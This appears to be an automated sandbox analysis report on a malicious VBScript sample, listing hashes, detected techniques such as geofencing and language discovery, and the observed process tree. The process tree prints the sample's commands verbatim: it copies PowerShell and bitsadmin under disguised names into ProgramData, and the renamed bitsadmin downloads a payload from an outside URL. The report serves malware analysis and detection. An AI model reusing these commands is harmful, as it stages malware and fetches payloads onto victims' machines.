Analysis
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max time kernel
137s -
max time network
123s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
11-08-2024 04:49
Static task
static1
Behavioral task
behavioral1
Sample
890e606bc524548cde60d468e944b461_JaffaCakes118.vbs
Resource
win7-20240704-en
General
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Target
890e606bc524548cde60d468e944b461_JaffaCakes118.vbs
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Size
7KB
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MD5
890e606bc524548cde60d468e944b461
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SHA1
c3cb9d8ce2e9dfbb879eed2317e4a61ceb7acfaf
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SHA256
c52e8e5dd3b2d97071b6c08199684594bf50bafe18724a013dc83988b6631894
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SHA512
c227bc4b873933b99903baf75f4fb7ae11743fd42f7fffb39b8215fe3f84d1368700157ec574d155a6b120bd59dda7d95923f667490436521c720398d746315b
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SSDEEP
192:pF3F1DtwCkPCpxcyJQhkP76yOMAAMmVktlPvUUJtu0:XDtwCkPocGrP76yOMAA5V+XUUJc0
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
pid Process 1344 PVKbwyein.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PVKbwyein.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2436 wrote to memory of 4656 2436 WScript.exe 84 PID 2436 wrote to memory of 4656 2436 WScript.exe 84 PID 4656 wrote to memory of 3976 4656 cmd.exe 86 PID 4656 wrote to memory of 3976 4656 cmd.exe 86 PID 4656 wrote to memory of 5088 4656 cmd.exe 87 PID 4656 wrote to memory of 5088 4656 cmd.exe 87 PID 2436 wrote to memory of 1344 2436 WScript.exe 88 PID 2436 wrote to memory of 1344 2436 WScript.exe 88 PID 2436 wrote to memory of 1344 2436 WScript.exe 88
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\890e606bc524548cde60d468e944b461_JaffaCakes118.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2436 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aROAAO.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\PVKbwye*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:4656 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aROAAO.exe3⤵PID:3976
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\PVKbwye*.exe3⤵PID:5088
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C:\ProgramData\PVKbwyein.exe"C:\ProgramData\PVKbwyein.exe" /wrap /transfer mjnhWNUX https://myriamherman.com/whooma/GRZMHL77R29D122E/developer.rtf C:\ProgramData\developer.rtf2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1344
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
182KB
MD5f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a